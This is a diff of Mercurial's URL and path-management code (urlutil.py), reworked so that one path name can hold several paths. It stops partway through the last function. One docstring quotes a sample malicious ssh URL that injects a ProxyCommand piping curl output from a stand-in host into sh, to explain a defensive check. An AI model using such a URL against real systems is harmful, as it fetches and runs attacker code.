980 ctx = context.resource(mapping, b'ctx')
985 ctx = context.resource(mapping, b'ctx')
981
986
982 def formatnode(ctx):
987 def formatnode(ctx):
983 return b'%s (%s)' % (scmutil.formatchangeid(ctx), ctx.phasestr())
988 return b'%s (%s)' % (scmutil.formatchangeid(ctx), ctx.phasestr())
984
989
985 entries = obsutil.whyunstable(repo, ctx)
990 entries = obsutil.whyunstable(repo, ctx)
986
991
987 for entry in entries:
992 for entry in entries:
988 if entry.get(b'divergentnodes'):
993 if entry.get(b'divergentnodes'):
989 dnodes = entry[b'divergentnodes']
994 dnodes = entry[b'divergentnodes']
990 dnhybrid = _hybrid(
995 dnhybrid = _hybrid(
991 None,
996 None,
992 [dnode.hex() for dnode in dnodes],
997 [dnode.hex() for dnode in dnodes],
993 lambda x: {b'ctx': repo[x]},
998 lambda x: {b'ctx': repo[x]},
994 lambda x: formatnode(repo[x]),
999 lambda x: formatnode(repo[x]),
995 )
1000 )
996 entry[b'divergentnodes'] = dnhybrid
1001 entry[b'divergentnodes'] = dnhybrid
997
1002
998 tmpl = (
1003 tmpl = (
999 b'{instability}:{if(divergentnodes, " ")}{divergentnodes} '
1004 b'{instability}:{if(divergentnodes, " ")}{divergentnodes} '
1000 b'{reason} {node|short}'
1005 b'{reason} {node|short}'
1001 )
1006 )
1002 return templateutil.mappinglist(entries, tmpl=tmpl, sep=b'\n')
1007 return templateutil.mappinglist(entries, tmpl=tmpl, sep=b'\n')
1003
1008
1004
1009
1005 def loadkeyword(ui, extname, registrarobj):
1010 def loadkeyword(ui, extname, registrarobj):
1006 """Load template keyword from specified registrarobj"""
1011 """Load template keyword from specified registrarobj"""
1007 for name, func in pycompat.iteritems(registrarobj._table):
1012 for name, func in pycompat.iteritems(registrarobj._table):
1008 keywords[name] = func
1013 keywords[name] = func
1009
1014
1010
1015
1011 # tell hggettext to extract docstrings from these functions:
1016 # tell hggettext to extract docstrings from these functions:
1012 i18nfunctions = keywords.values()
1017 i18nfunctions = keywords.values()
@@ -1,843 +1,886 b''
1 # utils.urlutil - code related to [paths] management
1 # utils.urlutil - code related to [paths] management
2 #
2 #
3 # Copyright 2005-2021 Olivia Mackall <olivia@selenic.com> and others
3 # Copyright 2005-2021 Olivia Mackall <olivia@selenic.com> and others
4 #
4 #
5 # This software may be used and distributed according to the terms of the
5 # This software may be used and distributed according to the terms of the
6 # GNU General Public License version 2 or any later version.
6 # GNU General Public License version 2 or any later version.
7 import os
7 import os
8 import re as remod
8 import re as remod
9 import socket
9 import socket
10
10
11 from ..i18n import _
11 from ..i18n import _
12 from ..pycompat import (
12 from ..pycompat import (
13 getattr,
13 getattr,
14 setattr,
14 setattr,
15 )
15 )
16 from .. import (
16 from .. import (
17 encoding,
17 encoding,
18 error,
18 error,
19 pycompat,
19 pycompat,
20 urllibcompat,
20 urllibcompat,
21 )
21 )
22
22
23
23
24 if pycompat.TYPE_CHECKING:
24 if pycompat.TYPE_CHECKING:
25 from typing import (
25 from typing import (
26 Union,
26 Union,
27 )
27 )
28
28
29 urlreq = urllibcompat.urlreq
29 urlreq = urllibcompat.urlreq
30
30
31
31
32 def getport(port):
32 def getport(port):
33 # type: (Union[bytes, int]) -> int
33 # type: (Union[bytes, int]) -> int
34 """Return the port for a given network service.
34 """Return the port for a given network service.
35
35
36 If port is an integer, it's returned as is. If it's a string, it's
36 If port is an integer, it's returned as is. If it's a string, it's
37 looked up using socket.getservbyname(). If there's no matching
37 looked up using socket.getservbyname(). If there's no matching
38 service, error.Abort is raised.
38 service, error.Abort is raised.
39 """
39 """
40 try:
40 try:
41 return int(port)
41 return int(port)
42 except ValueError:
42 except ValueError:
43 pass
43 pass
44
44
45 try:
45 try:
46 return socket.getservbyname(pycompat.sysstr(port))
46 return socket.getservbyname(pycompat.sysstr(port))
47 except socket.error:
47 except socket.error:
48 raise error.Abort(
48 raise error.Abort(
49 _(b"no port number associated with service '%s'") % port
49 _(b"no port number associated with service '%s'") % port
50 )
50 )
51
51
52
52
53 class url(object):
53 class url(object):
54 r"""Reliable URL parser.
54 r"""Reliable URL parser.
55
55
56 This parses URLs and provides attributes for the following
56 This parses URLs and provides attributes for the following
57 components:
57 components:
58
58
59 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
59 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
60
60
61 Missing components are set to None. The only exception is
61 Missing components are set to None. The only exception is
62 fragment, which is set to '' if present but empty.
62 fragment, which is set to '' if present but empty.
63
63
64 If parsefragment is False, fragment is included in query. If
64 If parsefragment is False, fragment is included in query. If
65 parsequery is False, query is included in path. If both are
65 parsequery is False, query is included in path. If both are
66 False, both fragment and query are included in path.
66 False, both fragment and query are included in path.
67
67
68 See http://www.ietf.org/rfc/rfc2396.txt for more information.
68 See http://www.ietf.org/rfc/rfc2396.txt for more information.
69
69
70 Note that for backward compatibility reasons, bundle URLs do not
70 Note that for backward compatibility reasons, bundle URLs do not
71 take host names. That means 'bundle://../' has a path of '../'.
71 take host names. That means 'bundle://../' has a path of '../'.
72
72
73 Examples:
73 Examples:
74
74
75 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
75 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
76 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
76 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
77 >>> url(b'ssh://[::1]:2200//home/joe/repo')
77 >>> url(b'ssh://[::1]:2200//home/joe/repo')
78 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
78 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
79 >>> url(b'file:///home/joe/repo')
79 >>> url(b'file:///home/joe/repo')
80 <url scheme: 'file', path: '/home/joe/repo'>
80 <url scheme: 'file', path: '/home/joe/repo'>
81 >>> url(b'file:///c:/temp/foo/')
81 >>> url(b'file:///c:/temp/foo/')
82 <url scheme: 'file', path: 'c:/temp/foo/'>
82 <url scheme: 'file', path: 'c:/temp/foo/'>
83 >>> url(b'bundle:foo')
83 >>> url(b'bundle:foo')
84 <url scheme: 'bundle', path: 'foo'>
84 <url scheme: 'bundle', path: 'foo'>
85 >>> url(b'bundle://../foo')
85 >>> url(b'bundle://../foo')
86 <url scheme: 'bundle', path: '../foo'>
86 <url scheme: 'bundle', path: '../foo'>
87 >>> url(br'c:\foo\bar')
87 >>> url(br'c:\foo\bar')
88 <url path: 'c:\\foo\\bar'>
88 <url path: 'c:\\foo\\bar'>
89 >>> url(br'\\blah\blah\blah')
89 >>> url(br'\\blah\blah\blah')
90 <url path: '\\\\blah\\blah\\blah'>
90 <url path: '\\\\blah\\blah\\blah'>
91 >>> url(br'\\blah\blah\blah#baz')
91 >>> url(br'\\blah\blah\blah#baz')
92 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
92 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
93 >>> url(br'file:///C:\users\me')
93 >>> url(br'file:///C:\users\me')
94 <url scheme: 'file', path: 'C:\\users\\me'>
94 <url scheme: 'file', path: 'C:\\users\\me'>
95
95
96 Authentication credentials:
96 Authentication credentials:
97
97
98 >>> url(b'ssh://joe:xyz@x/repo')
98 >>> url(b'ssh://joe:xyz@x/repo')
99 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
99 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
100 >>> url(b'ssh://joe@x/repo')
100 >>> url(b'ssh://joe@x/repo')
101 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
101 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
102
102
103 Query strings and fragments:
103 Query strings and fragments:
104
104
105 >>> url(b'http://host/a?b#c')
105 >>> url(b'http://host/a?b#c')
106 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
106 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
107 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
107 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
108 <url scheme: 'http', host: 'host', path: 'a?b#c'>
108 <url scheme: 'http', host: 'host', path: 'a?b#c'>
109
109
110 Empty path:
110 Empty path:
111
111
112 >>> url(b'')
112 >>> url(b'')
113 <url path: ''>
113 <url path: ''>
114 >>> url(b'#a')
114 >>> url(b'#a')
115 <url path: '', fragment: 'a'>
115 <url path: '', fragment: 'a'>
116 >>> url(b'http://host/')
116 >>> url(b'http://host/')
117 <url scheme: 'http', host: 'host', path: ''>
117 <url scheme: 'http', host: 'host', path: ''>
118 >>> url(b'http://host/#a')
118 >>> url(b'http://host/#a')
119 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
119 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
120
120
121 Only scheme:
121 Only scheme:
122
122
123 >>> url(b'http:')
123 >>> url(b'http:')
124 <url scheme: 'http'>
124 <url scheme: 'http'>
125 """
125 """
126
126
127 _safechars = b"!~*'()+"
127 _safechars = b"!~*'()+"
128 _safepchars = b"/!~*'()+:\\"
128 _safepchars = b"/!~*'()+:\\"
129 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
129 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
130
130
131 def __init__(self, path, parsequery=True, parsefragment=True):
131 def __init__(self, path, parsequery=True, parsefragment=True):
132 # type: (bytes, bool, bool) -> None
132 # type: (bytes, bool, bool) -> None
133 # We slowly chomp away at path until we have only the path left
133 # We slowly chomp away at path until we have only the path left
134 self.scheme = self.user = self.passwd = self.host = None
134 self.scheme = self.user = self.passwd = self.host = None
135 self.port = self.path = self.query = self.fragment = None
135 self.port = self.path = self.query = self.fragment = None
136 self._localpath = True
136 self._localpath = True
137 self._hostport = b''
137 self._hostport = b''
138 self._origpath = path
138 self._origpath = path
139
139
140 if parsefragment and b'#' in path:
140 if parsefragment and b'#' in path:
141 path, self.fragment = path.split(b'#', 1)
141 path, self.fragment = path.split(b'#', 1)
142
142
143 # special case for Windows drive letters and UNC paths
143 # special case for Windows drive letters and UNC paths
144 if hasdriveletter(path) or path.startswith(b'\\\\'):
144 if hasdriveletter(path) or path.startswith(b'\\\\'):
145 self.path = path
145 self.path = path
146 return
146 return
147
147
148 # For compatibility reasons, we can't handle bundle paths as
148 # For compatibility reasons, we can't handle bundle paths as
149 # normal URLS
149 # normal URLS
150 if path.startswith(b'bundle:'):
150 if path.startswith(b'bundle:'):
151 self.scheme = b'bundle'
151 self.scheme = b'bundle'
152 path = path[7:]
152 path = path[7:]
153 if path.startswith(b'//'):
153 if path.startswith(b'//'):
154 path = path[2:]
154 path = path[2:]
155 self.path = path
155 self.path = path
156 return
156 return
157
157
158 if self._matchscheme(path):
158 if self._matchscheme(path):
159 parts = path.split(b':', 1)
159 parts = path.split(b':', 1)
160 if parts[0]:
160 if parts[0]:
161 self.scheme, path = parts
161 self.scheme, path = parts
162 self._localpath = False
162 self._localpath = False
163
163
164 if not path:
164 if not path:
165 path = None
165 path = None
166 if self._localpath:
166 if self._localpath:
167 self.path = b''
167 self.path = b''
168 return
168 return
169 else:
169 else:
170 if self._localpath:
170 if self._localpath:
171 self.path = path
171 self.path = path
172 return
172 return
173
173
174 if parsequery and b'?' in path:
174 if parsequery and b'?' in path:
175 path, self.query = path.split(b'?', 1)
175 path, self.query = path.split(b'?', 1)
176 if not path:
176 if not path:
177 path = None
177 path = None
178 if not self.query:
178 if not self.query:
179 self.query = None
179 self.query = None
180
180
181 # // is required to specify a host/authority
181 # // is required to specify a host/authority
182 if path and path.startswith(b'//'):
182 if path and path.startswith(b'//'):
183 parts = path[2:].split(b'/', 1)
183 parts = path[2:].split(b'/', 1)
184 if len(parts) > 1:
184 if len(parts) > 1:
185 self.host, path = parts
185 self.host, path = parts
186 else:
186 else:
187 self.host = parts[0]
187 self.host = parts[0]
188 path = None
188 path = None
189 if not self.host:
189 if not self.host:
190 self.host = None
190 self.host = None
191 # path of file:///d is /d
191 # path of file:///d is /d
192 # path of file:///d:/ is d:/, not /d:/
192 # path of file:///d:/ is d:/, not /d:/
193 if path and not hasdriveletter(path):
193 if path and not hasdriveletter(path):
194 path = b'/' + path
194 path = b'/' + path
195
195
196 if self.host and b'@' in self.host:
196 if self.host and b'@' in self.host:
197 self.user, self.host = self.host.rsplit(b'@', 1)
197 self.user, self.host = self.host.rsplit(b'@', 1)
198 if b':' in self.user:
198 if b':' in self.user:
199 self.user, self.passwd = self.user.split(b':', 1)
199 self.user, self.passwd = self.user.split(b':', 1)
200 if not self.host:
200 if not self.host:
201 self.host = None
201 self.host = None
202
202
203 # Don't split on colons in IPv6 addresses without ports
203 # Don't split on colons in IPv6 addresses without ports
204 if (
204 if (
205 self.host
205 self.host
206 and b':' in self.host
206 and b':' in self.host
207 and not (
207 and not (
208 self.host.startswith(b'[') and self.host.endswith(b']')
208 self.host.startswith(b'[') and self.host.endswith(b']')
209 )
209 )
210 ):
210 ):
211 self._hostport = self.host
211 self._hostport = self.host
212 self.host, self.port = self.host.rsplit(b':', 1)
212 self.host, self.port = self.host.rsplit(b':', 1)
213 if not self.host:
213 if not self.host:
214 self.host = None
214 self.host = None
215
215
216 if (
216 if (
217 self.host
217 self.host
218 and self.scheme == b'file'
218 and self.scheme == b'file'
219 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
219 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
220 ):
220 ):
221 raise error.Abort(
221 raise error.Abort(
222 _(b'file:// URLs can only refer to localhost')
222 _(b'file:// URLs can only refer to localhost')
223 )
223 )
224
224
225 self.path = path
225 self.path = path
226
226
227 # leave the query string escaped
227 # leave the query string escaped
228 for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'):
228 for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'):
229 v = getattr(self, a)
229 v = getattr(self, a)
230 if v is not None:
230 if v is not None:
231 setattr(self, a, urlreq.unquote(v))
231 setattr(self, a, urlreq.unquote(v))
232
232
233 def copy(self):
233 def copy(self):
234 u = url(b'temporary useless value')
234 u = url(b'temporary useless value')
235 u.path = self.path
235 u.path = self.path
236 u.scheme = self.scheme
236 u.scheme = self.scheme
237 u.user = self.user
237 u.user = self.user
238 u.passwd = self.passwd
238 u.passwd = self.passwd
239 u.host = self.host
239 u.host = self.host
240 u.path = self.path
240 u.path = self.path
241 u.query = self.query
241 u.query = self.query
242 u.fragment = self.fragment
242 u.fragment = self.fragment
243 u._localpath = self._localpath
243 u._localpath = self._localpath
244 u._hostport = self._hostport
244 u._hostport = self._hostport
245 u._origpath = self._origpath
245 u._origpath = self._origpath
246 return u
246 return u
247
247
248 @encoding.strmethod
248 @encoding.strmethod
249 def __repr__(self):
249 def __repr__(self):
250 attrs = []
250 attrs = []
251 for a in (
251 for a in (
252 b'scheme',
252 b'scheme',
253 b'user',
253 b'user',
254 b'passwd',
254 b'passwd',
255 b'host',
255 b'host',
256 b'port',
256 b'port',
257 b'path',
257 b'path',
258 b'query',
258 b'query',
259 b'fragment',
259 b'fragment',
260 ):
260 ):
261 v = getattr(self, a)
261 v = getattr(self, a)
262 if v is not None:
262 if v is not None:
263 attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
263 attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
264 return b'<url %s>' % b', '.join(attrs)
264 return b'<url %s>' % b', '.join(attrs)
265
265
266 def __bytes__(self):
266 def __bytes__(self):
267 r"""Join the URL's components back into a URL string.
267 r"""Join the URL's components back into a URL string.
268
268
269 Examples:
269 Examples:
270
270
271 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
271 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
272 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
272 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
273 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
273 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
274 'http://user:pw@host:80/?foo=bar&baz=42'
274 'http://user:pw@host:80/?foo=bar&baz=42'
275 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
275 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
276 'http://user:pw@host:80/?foo=bar%3dbaz'
276 'http://user:pw@host:80/?foo=bar%3dbaz'
277 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
277 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
278 'ssh://user:pw@[::1]:2200//home/joe#'
278 'ssh://user:pw@[::1]:2200//home/joe#'
279 >>> bytes(url(b'http://localhost:80//'))
279 >>> bytes(url(b'http://localhost:80//'))
280 'http://localhost:80//'
280 'http://localhost:80//'
281 >>> bytes(url(b'http://localhost:80/'))
281 >>> bytes(url(b'http://localhost:80/'))
282 'http://localhost:80/'
282 'http://localhost:80/'
283 >>> bytes(url(b'http://localhost:80'))
283 >>> bytes(url(b'http://localhost:80'))
284 'http://localhost:80/'
284 'http://localhost:80/'
285 >>> bytes(url(b'bundle:foo'))
285 >>> bytes(url(b'bundle:foo'))
286 'bundle:foo'
286 'bundle:foo'
287 >>> bytes(url(b'bundle://../foo'))
287 >>> bytes(url(b'bundle://../foo'))
288 'bundle:../foo'
288 'bundle:../foo'
289 >>> bytes(url(b'path'))
289 >>> bytes(url(b'path'))
290 'path'
290 'path'
291 >>> bytes(url(b'file:///tmp/foo/bar'))
291 >>> bytes(url(b'file:///tmp/foo/bar'))
292 'file:///tmp/foo/bar'
292 'file:///tmp/foo/bar'
293 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
293 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
294 'file:///c:/tmp/foo/bar'
294 'file:///c:/tmp/foo/bar'
295 >>> print(url(br'bundle:foo\bar'))
295 >>> print(url(br'bundle:foo\bar'))
296 bundle:foo\bar
296 bundle:foo\bar
297 >>> print(url(br'file:///D:\data\hg'))
297 >>> print(url(br'file:///D:\data\hg'))
298 file:///D:\data\hg
298 file:///D:\data\hg
299 """
299 """
300 if self._localpath:
300 if self._localpath:
301 s = self.path
301 s = self.path
302 if self.scheme == b'bundle':
302 if self.scheme == b'bundle':
303 s = b'bundle:' + s
303 s = b'bundle:' + s
304 if self.fragment:
304 if self.fragment:
305 s += b'#' + self.fragment
305 s += b'#' + self.fragment
306 return s
306 return s
307
307
308 s = self.scheme + b':'
308 s = self.scheme + b':'
309 if self.user or self.passwd or self.host:
309 if self.user or self.passwd or self.host:
310 s += b'//'
310 s += b'//'
311 elif self.scheme and (
311 elif self.scheme and (
312 not self.path
312 not self.path
313 or self.path.startswith(b'/')
313 or self.path.startswith(b'/')
314 or hasdriveletter(self.path)
314 or hasdriveletter(self.path)
315 ):
315 ):
316 s += b'//'
316 s += b'//'
317 if hasdriveletter(self.path):
317 if hasdriveletter(self.path):
318 s += b'/'
318 s += b'/'
319 if self.user:
319 if self.user:
320 s += urlreq.quote(self.user, safe=self._safechars)
320 s += urlreq.quote(self.user, safe=self._safechars)
321 if self.passwd:
321 if self.passwd:
322 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
322 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
323 if self.user or self.passwd:
323 if self.user or self.passwd:
324 s += b'@'
324 s += b'@'
325 if self.host:
325 if self.host:
326 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
326 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
327 s += urlreq.quote(self.host)
327 s += urlreq.quote(self.host)
328 else:
328 else:
329 s += self.host
329 s += self.host
330 if self.port:
330 if self.port:
331 s += b':' + urlreq.quote(self.port)
331 s += b':' + urlreq.quote(self.port)
332 if self.host:
332 if self.host:
333 s += b'/'
333 s += b'/'
334 if self.path:
334 if self.path:
335 # TODO: similar to the query string, we should not unescape the
335 # TODO: similar to the query string, we should not unescape the
336 # path when we store it, the path might contain '%2f' = '/',
336 # path when we store it, the path might contain '%2f' = '/',
337 # which we should *not* escape.
337 # which we should *not* escape.
338 s += urlreq.quote(self.path, safe=self._safepchars)
338 s += urlreq.quote(self.path, safe=self._safepchars)
339 if self.query:
339 if self.query:
340 # we store the query in escaped form.
340 # we store the query in escaped form.
341 s += b'?' + self.query
341 s += b'?' + self.query
342 if self.fragment is not None:
342 if self.fragment is not None:
343 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
343 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
344 return s
344 return s
345
345
346 __str__ = encoding.strmethod(__bytes__)
346 __str__ = encoding.strmethod(__bytes__)
347
347
348 def authinfo(self):
348 def authinfo(self):
349 user, passwd = self.user, self.passwd
349 user, passwd = self.user, self.passwd
350 try:
350 try:
351 self.user, self.passwd = None, None
351 self.user, self.passwd = None, None
352 s = bytes(self)
352 s = bytes(self)
353 finally:
353 finally:
354 self.user, self.passwd = user, passwd
354 self.user, self.passwd = user, passwd
355 if not self.user:
355 if not self.user:
356 return (s, None)
356 return (s, None)
357 # authinfo[1] is passed to urllib2 password manager, and its
357 # authinfo[1] is passed to urllib2 password manager, and its
358 # URIs must not contain credentials. The host is passed in the
358 # URIs must not contain credentials. The host is passed in the
359 # URIs list because Python < 2.4.3 uses only that to search for
359 # URIs list because Python < 2.4.3 uses only that to search for
360 # a password.
360 # a password.
361 return (s, (None, (s, self.host), self.user, self.passwd or b''))
361 return (s, (None, (s, self.host), self.user, self.passwd or b''))
362
362
363 def isabs(self):
363 def isabs(self):
364 if self.scheme and self.scheme != b'file':
364 if self.scheme and self.scheme != b'file':
365 return True # remote URL
365 return True # remote URL
366 if hasdriveletter(self.path):
366 if hasdriveletter(self.path):
367 return True # absolute for our purposes - can't be joined()
367 return True # absolute for our purposes - can't be joined()
368 if self.path.startswith(br'\\'):
368 if self.path.startswith(br'\\'):
369 return True # Windows UNC path
369 return True # Windows UNC path
370 if self.path.startswith(b'/'):
370 if self.path.startswith(b'/'):
371 return True # POSIX-style
371 return True # POSIX-style
372 return False
372 return False
373
373
374 def localpath(self):
374 def localpath(self):
375 # type: () -> bytes
375 # type: () -> bytes
376 if self.scheme == b'file' or self.scheme == b'bundle':
376 if self.scheme == b'file' or self.scheme == b'bundle':
377 path = self.path or b'/'
377 path = self.path or b'/'
378 # For Windows, we need to promote hosts containing drive
378 # For Windows, we need to promote hosts containing drive
379 # letters to paths with drive letters.
379 # letters to paths with drive letters.
380 if hasdriveletter(self._hostport):
380 if hasdriveletter(self._hostport):
381 path = self._hostport + b'/' + self.path
381 path = self._hostport + b'/' + self.path
382 elif (
382 elif (
383 self.host is not None and self.path and not hasdriveletter(path)
383 self.host is not None and self.path and not hasdriveletter(path)
384 ):
384 ):
385 path = b'/' + path
385 path = b'/' + path
386 return path
386 return path
387 return self._origpath
387 return self._origpath
388
388
389 def islocal(self):
389 def islocal(self):
390 '''whether localpath will return something that posixfile can open'''
390 '''whether localpath will return something that posixfile can open'''
391 return (
391 return (
392 not self.scheme
392 not self.scheme
393 or self.scheme == b'file'
393 or self.scheme == b'file'
394 or self.scheme == b'bundle'
394 or self.scheme == b'bundle'
395 )
395 )
396
396
397
397
398 def hasscheme(path):
398 def hasscheme(path):
399 # type: (bytes) -> bool
399 # type: (bytes) -> bool
400 return bool(url(path).scheme) # cast to help pytype
400 return bool(url(path).scheme) # cast to help pytype
401
401
402
402
403 def hasdriveletter(path):
403 def hasdriveletter(path):
404 # type: (bytes) -> bool
404 # type: (bytes) -> bool
405 return bool(path) and path[1:2] == b':' and path[0:1].isalpha()
405 return bool(path) and path[1:2] == b':' and path[0:1].isalpha()
406
406
407
407
408 def urllocalpath(path):
408 def urllocalpath(path):
409 # type: (bytes) -> bytes
409 # type: (bytes) -> bytes
410 return url(path, parsequery=False, parsefragment=False).localpath()
410 return url(path, parsequery=False, parsefragment=False).localpath()
411
411
412
412
413 def checksafessh(path):
413 def checksafessh(path):
414 # type: (bytes) -> None
414 # type: (bytes) -> None
415 """check if a path / url is a potentially unsafe ssh exploit (SEC)
415 """check if a path / url is a potentially unsafe ssh exploit (SEC)
416
416
417 This is a sanity check for ssh urls. ssh will parse the first item as
417 This is a sanity check for ssh urls. ssh will parse the first item as
418 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
418 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
419 Let's prevent these potentially exploited urls entirely and warn the
419 Let's prevent these potentially exploited urls entirely and warn the
420 user.
420 user.
421
421
422 Raises an error.Abort when the url is unsafe.
422 Raises an error.Abort when the url is unsafe.
423 """
423 """
424 path = urlreq.unquote(path)
424 path = urlreq.unquote(path)
425 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
425 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
426 raise error.Abort(
426 raise error.Abort(
427 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
427 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
428 )
428 )
429
429
430
430
431 def hidepassword(u):
431 def hidepassword(u):
432 # type: (bytes) -> bytes
432 # type: (bytes) -> bytes
433 '''hide user credential in a url string'''
433 '''hide user credential in a url string'''
434 u = url(u)
434 u = url(u)
435 if u.passwd:
435 if u.passwd:
436 u.passwd = b'***'
436 u.passwd = b'***'
437 return bytes(u)
437 return bytes(u)
438
438
439
439
440 def removeauth(u):
440 def removeauth(u):
441 # type: (bytes) -> bytes
441 # type: (bytes) -> bytes
442 '''remove all authentication information from a url string'''
442 '''remove all authentication information from a url string'''
443 u = url(u)
443 u = url(u)
444 u.user = u.passwd = None
444 u.user = u.passwd = None
445 return bytes(u)
445 return bytes(u)
446
446
447
447
448 def list_paths(ui, target_path=None):
448 def list_paths(ui, target_path=None):
449 """list all the (name, paths) in the passed ui"""
449 """list all the (name, paths) in the passed ui"""
450 result = []
450 if target_path is None:
451 if target_path is None:
451 return sorted(pycompat.iteritems(ui.paths))
452 for name, paths in sorted(pycompat.iteritems(ui.paths)):
453 for p in paths:
454 result.append((name, p))
455
452 else:
456 else:
453 path = ui.paths.get(target_path)
457 for path in ui.paths.get(target_path, []):
454 if path is None:
458 result.append((target_path, path))
455 return []
459 return result
456 else:
457 return [(target_path, path)]
458
460
459
461
460 def try_path(ui, url):
462 def try_path(ui, url):
461 """try to build a path from a url
463 """try to build a path from a url
462
464
463 Return None if no Path could built.
465 Return None if no Path could built.
464 """
466 """
465 try:
467 try:
466 # we pass the ui instance are warning might need to be issued
468 # we pass the ui instance are warning might need to be issued
467 return path(ui, None, rawloc=url)
469 return path(ui, None, rawloc=url)
468 except ValueError:
470 except ValueError:
469 return None
471 return None
470
472
471
473
472 def get_push_paths(repo, ui, dests):
474 def get_push_paths(repo, ui, dests):
473 """yields all the `path` selected as push destination by `dests`"""
475 """yields all the `path` selected as push destination by `dests`"""
474 if not dests:
476 if not dests:
475 if b'default-push' in ui.paths:
477 if b'default-push' in ui.paths:
476 yield ui.paths[b'default-push']
478 for p in ui.paths[b'default-push']:
479 yield p
477 elif b'default' in ui.paths:
480 elif b'default' in ui.paths:
478 yield ui.paths[b'default']
481 for p in ui.paths[b'default']:
482 yield p
479 else:
483 else:
480 raise error.ConfigError(
484 raise error.ConfigError(
481 _(b'default repository not configured!'),
485 _(b'default repository not configured!'),
482 hint=_(b"see 'hg help config.paths'"),
486 hint=_(b"see 'hg help config.paths'"),
483 )
487 )
484 else:
488 else:
485 for dest in dests:
489 for dest in dests:
486 if dest in ui.paths:
490 if dest in ui.paths:
487 yield ui.paths[dest]
491 for p in ui.paths[dest]:
492 yield p
488 else:
493 else:
489 path = try_path(ui, dest)
494 path = try_path(ui, dest)
490 if path is None:
495 if path is None:
491 msg = _(b'repository %s does not exist')
496 msg = _(b'repository %s does not exist')
492 msg %= dest
497 msg %= dest
493 raise error.RepoError(msg)
498 raise error.RepoError(msg)
494 yield path
499 yield path
495
500
496
501
497 def get_pull_paths(repo, ui, sources, default_branches=()):
502 def get_pull_paths(repo, ui, sources, default_branches=()):
498 """yields all the `(path, branch)` selected as pull source by `sources`"""
503 """yields all the `(path, branch)` selected as pull source by `sources`"""
499 if not sources:
504 if not sources:
500 sources = [b'default']
505 sources = [b'default']
501 for source in sources:
506 for source in sources:
502 if source in ui.paths:
507 if source in ui.paths:
503 url = ui.paths[source].rawloc
508 for p in ui.paths[source]:
509 yield parseurl(p.rawloc, default_branches)
504 else:
510 else:
505 # Try to resolve as a local path or URI.
511 # Try to resolve as a local path or URI.
506 path = try_path(ui, source)
512 path = try_path(ui, source)
507 if path is not None:
513 if path is not None:
508 url = path.rawloc
514 url = path.rawloc
509 else:
515 else:
510 url = source
516 url = source
511 yield parseurl(url, default_branches)
517 yield parseurl(url, default_branches)
512
518
513
519
514 def get_unique_push_path(action, repo, ui, dest=None):
520 def get_unique_push_path(action, repo, ui, dest=None):
515 """return a unique `path` or abort if multiple are found
521 """return a unique `path` or abort if multiple are found
516
522
517 This is useful for command and action that does not support multiple
523 This is useful for command and action that does not support multiple
518 destination (yet).
524 destination (yet).
519
525
520 Note that for now, we cannot get multiple destination so this function is "trivial".
526 Note that for now, we cannot get multiple destination so this function is "trivial".
521
527
522 The `action` parameter will be used for the error message.
528 The `action` parameter will be used for the error message.
523 """
529 """
524 if dest is None:
530 if dest is None:
525 dests = []
531 dests = []
526 else:
532 else:
527 dests = [dest]
533 dests = [dest]
528 dests = list(get_push_paths(repo, ui, dests))
534 dests = list(get_push_paths(repo, ui, dests))
529 assert len(dests) == 1
535 if len(dests) != 1:
536 if dest is None:
